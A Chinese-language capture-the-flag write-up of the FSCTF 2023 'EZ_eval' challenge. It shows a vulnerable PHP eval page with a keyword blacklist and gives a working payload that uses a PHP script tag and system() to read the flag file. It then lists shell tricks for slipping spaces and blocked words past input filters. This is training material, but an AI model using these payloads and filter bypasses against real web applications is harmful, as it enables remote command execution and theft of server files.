[FSCTF 2023]EZ_eval
第一次遇到这个类型问题,记录一下
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
$word = str_replace("?", "", $word);
eval("?>". $word);
}else{
highlight_file(__FILE__);
}
过滤关键词可以使用转义字符绕过正则(或者是引号闭合绕过)即可,但是下面的使用了?>
进行了闭合,所以rce执行的语句并不在程序内,并且还对?
进行了过滤,所以就无法使用<?
为了实现php代码的执行,可以使用<script>
标签进行绕过<script language="php">system('ls'); </script>
所以这道题的payload是?word=<script%0alanguage='php'>system('ca\t${IFS}/fla\g');</script>
但是正则中对空格进行了过滤,需要进行绕过,这里有一个点我之前没有注意,对于空格绕过,我只是收集了空格的各种绕过方法${IFS}``%0a``$IFS``<>
等等,却没有注意何地适用(这里指的是放入HTML中执行的不应该使用${IFS}
等在shell中才能被正确解释的命令),这里做个笔记。$IFS
变量是shell中的变量,表示的是Linux下的分隔符号,在bash
的shell variables
可以查到man bash
,$IFS
的默认值为空白(空格、换行、制表格),多个连续的空白会被当成一个IFS
处理。
这里记录一下收集学习到的各种空格绕过的方法还有原理:
${IFS}
同理,花括号扩展
$IFS$9
$9 是一个位置参数变量,表示传递给脚本或函数的第九个参数,比如cat$IFS$9flag.txt
第九个参数是一个空字符串,所以可以被bash解释为cat flag.txt
$IFS
可以用来表示空格
$IFS$1
{cat,flag.txt}
利用了花括号展开,花括号{}可以用来指定一个或多个可选的字符串,这些字符串以逗号分隔,可以利用花括号展开生成一系列字符串的组合,所以可以利用花括号展开生成一组类似的命令行参数,比如这条命令,会展开为cat flag.txt
两个参数,然后传递到命令执行。
要注意花括号展开是再shell中进行的。
<``cat<flag.txt
输出重定向,将文件flag.txt的内容作为cat的输入,cat
用于连接文件并输出他们的内容,<
可以将文件内容传给命令并且输出,有什么区别?cat flag.txt
会先打开flag.txt 内容并输出到终端,而cat < flag.txt
先将文件内容输入给cat
,cat
就不用再打开文件,可以直接输出到终端。
<>
用来打开文件,并将内容输出到标准,但只在bash中有效
%20
URL编码中表示空格的方式
%0a
url编码后的换行符,在shell和html中同样使用,换行并不会改变代码的完整性
%09
%09是url编码的制表符Tab,一个制表使用2个或4个空格进行缩进,在bash中连续的空格被视为一个空格,所以可以用来绕过空格
kg=$'\x20flag.txt'&&cat$kg
\x20是utf-8编码的空格,将变量赋值,再使用命令进行执行
个人理解,有不对请指出。
标签:NSS,IFS,cat,空格,flag,绕过,txt From: https://www.cnblogs.com/Crayon-Blog/p/17971220